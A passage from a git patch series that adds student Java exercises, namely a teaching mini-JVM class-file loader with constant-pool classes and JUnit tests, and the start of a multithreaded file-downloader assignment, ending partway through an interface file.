--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..7f05870020
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..402f9dec86
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..936736016f
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..f1f8eb4ed4
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..5cac9f04f7
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+
+}
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..9c9fac2839
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,5 @@
+package com.coderising.jvm.loader;
+
+public class ByteCodeIterator {
+
+}
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..33185d8175
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,140 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile_V1(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..8e29f14a0c
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,44 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+
+		
+		
+
+		return null;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		return null;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+	
+}
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..2ac4100aef
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,202 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "E:/myGitHub/coding2017/group27/1252327158/task4_20170402/mini-jvm/out/production/mini-jvm/";
+	static String path2 = "C:/temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+    
+   
+
+}
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/util/Util.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}

From 50b74b10ba3ca1cc1a031704b1f0fc9fac7d4eae Mon Sep 17 00:00:00 2001
From: vegetableDogBai <bdl1994@163.com>
Date: Fri, 14 Apr 2017 09:57:48 +0800
Subject: [PATCH 081/262] =?UTF-8?q?week6=E4=B8=AD=E5=BA=8F=E8=A1=A8?=
 =?UTF-8?q?=E8=BE=BE=E5=BC=8F=E6=B1=82=E5=80=BC=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coderising/download/DownloadThread.java   |  20 +++
 .../coderising/download/FileDownloader.java   |  73 ++++++++
 .../download/FileDownloaderTest.java          |  59 +++++++
 .../coderising/download/api/Connection.java   |  23 +++
 .../download/api/ConnectionException.java     |   5 +
 .../download/api/ConnectionManager.java       |  10 ++
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         |  27 +++
 .../download/impl/ConnectionManagerImpl.java  |  15 ++
 .../coderising/litestruts/LoginAction.java    |  39 +++++
 .../src/com/coderising/litestruts/Struts.java |  34 ++++
 .../com/coderising/litestruts/StrutsTest.java |  43 +++++
 .../src/com/coderising/litestruts/View.java   |  23 +++
 .../src/com/coding/basic/BinaryTreeNode.java  |  32 ++++
 .../src/com/coding/basic/Iterator.java        |   7 +
 .../src/com/coding/basic/List.java            |   9 +
 .../src/com/coding/basic/Queue.java           |  19 ++
 .../src/com/coding/basic/array/ArrayList.java |  35 ++++
 .../src/com/coding/basic/array/ArrayUtil.java |  96 ++++++++++
 .../coding/basic/linklist/LRUPageFrame.java   | 164 ++++++++++++++++++
 .../basic/linklist/LRUPageFrameTest.java      |  34 ++++
 .../com/coding/basic/linklist/LinkedList.java | 125 +++++++++++++
 .../src/com/coding/basic/stack/Stack.java     |  64 +++++++
 .../src/com/coding/basic/stack/StackUtil.java | 136 +++++++++++++++
 .../com/coding/basic/stack/StackUtilTest.java |  78 +++++++++
 .../coding/basic/stack/expr/InfixExpr.java    | 116 +++++++++++++
 .../basic/stack/expr/InfixExprTest.java       |  48 +++++
 27 files changed, 1339 insertions(+)
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/DownloadThread.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/FileDownloader.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/FileDownloaderTest.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/api/Connection.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionException.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionManager.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/api/DownloadListener.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionImpl.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/litestruts/LoginAction.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/litestruts/Struts.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/litestruts/StrutsTest.java
 create mode 100644 group23/563253496/week6_stack/src/com/coderising/litestruts/View.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/BinaryTreeNode.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/Iterator.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/List.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/Queue.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/array/ArrayList.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/array/ArrayUtil.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrame.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/linklist/LinkedList.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/stack/Stack.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtil.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtilTest.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExpr.java
 create mode 100644 group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExprTest.java

diff --git a/group23/563253496/week6_stack/src/com/coderising/download/DownloadThread.java b/group23/563253496/week6_stack/src/com/coderising/download/DownloadThread.java
new file mode 100644
index 0000000000..900a3ad358
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/DownloadThread.java
@@ -0,0 +1,20 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+	public void run(){	
+		
+	}
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/FileDownloader.java b/group23/563253496/week6_stack/src/com/coderising/download/FileDownloader.java
new file mode 100644
index 0000000000..c3c8a3f27d
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/FileDownloader.java
@@ -0,0 +1,73 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();	
+			
+			new DownloadThread(conn,0,length-1).start();
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/FileDownloaderTest.java b/group23/563253496/week6_stack/src/com/coderising/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..4ff7f46ae0
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package com.coderising.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://localhost:8080/test.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/api/Connection.java b/group23/563253496/week6_stack/src/com/coderising/download/api/Connection.java
new file mode 100644
index 0000000000..0957eaf7f4
--- /dev/null
+++ b/group23/563253496/week6_stack/src/com/coderising/download/api/Connection.java
@@ -0,0 +1,23 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
